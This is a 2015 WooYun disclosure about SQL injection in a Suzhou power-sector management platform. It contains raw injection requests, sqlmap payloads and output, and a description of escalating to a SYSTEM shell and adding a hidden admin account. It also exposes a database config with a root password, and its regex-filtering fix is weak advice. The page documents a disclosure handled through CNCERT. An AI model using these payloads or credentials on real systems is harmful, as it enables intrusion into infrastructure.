当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0162552

漏洞标题:苏州市电力某系统SQL注入导致服务器沦陷(DBA权限)

相关厂商:苏州市电力

漏洞作者: 默之

提交时间:2015-12-19 11:40

修复时间:2016-02-04 17:47

公开时间:2016-02-04 17:47

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-19: 细节已通知厂商并且等待厂商处理中
2015-12-23: 厂商已经确认,细节仅向厂商公开
2016-01-02: 细节向核心白帽子及相关领域专家公开
2016-01-12: 细节向普通白帽子公开
2016-01-22: 细节向实习白帽子公开
2016-02-04: 细节向公众公开

简要描述:

权限很高的数据库

详细说明:

苏州市电力需求侧管理平台

**.**.**.**/


输入框不存在注入,但是有个找回密码的选项
还有一个越权操作处也存在注入

注入1.png


注入2.png


POST /xm/answer.php HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: **.**.**.**/xm/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
tel=%27


注入证明1.png


POST /xm/modify.php HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: **.**.**.**/xm/answer.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
answer=*&tel=*


注入证明2.png


多个参数都存在注入

Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: answer=' AND 3053=3053 AND 'ZBCd'='ZBCd&tel=
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: answer=' AND (SELECT 8462 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,
(SELECT (ELT(8462=8462,1))),0x716b707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCH
EMA.CHARACTER_SETS GROUP BY x)a) AND 'yfdd'='yfdd&tel=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: answer=' AND (SELECT * FROM (SELECT(SLEEP(5)))fcIr) AND 'AFwQ'='AFw
Q&tel=
Type: UNION query
Title: Generic UNION query (NULL) - 24 columns
Payload: answer=-5528' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6a71,0
x77534e4e744b676562567968796d4e4b6f724147754b674741484976474f6d6169766e5659574c7
6,0x716b707a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&tel=
---
[21:19:26] [INFO] testing MySQL
[21:19:26] [INFO] confirming MySQL
[21:19:26] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.9, PHP 5.5.12
back-end DBMS: MySQL >= 5.0.0


数据库DBA权限

dba.png


数据库

available databases [10]:
[*] db_biouxigas
[*] db_ent_num
[*] db_lianhua
[*] db_linde
[*] db_szdsjm
[*] ent_database_info
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

漏洞证明:

之后利用之前爆出来的路径D:\wamp\www,与系统进行交互,进而控制整个服务器。
很好,system权限

osshell.png


添加管理员temp/adm!n123
顺利登陆服务器

站点1.png


站点2.png


数据库

<?php
DEFINE ('DB_USER','root');
DEFINE ('DB_PASSWORD','sudawl');
DEFINE ('DB_HOST','localhost');
DEFINE ('DB_NAME','db_szdsjm');

$conn = @mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) OR die ('Could not connect to MySQL:' . mysqli_connect_error());

mysqli_set_charset($conn,'gbk');
?>


登陆了一个用户试试

用户1.png


能耗.png

修复方案:

1.数据库降权
2.SQL注入这个问题使用正则过滤

版权声明:转载请注明来源 默之@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-12-23 10:21

厂商回复:

CNVD确认所述情况,已经转由CNCERT向能源行业信息化主管部门通报,由其后续协调网站管理单位处置;同时转由CNCERT发江苏分中心。

最新状态:

暂无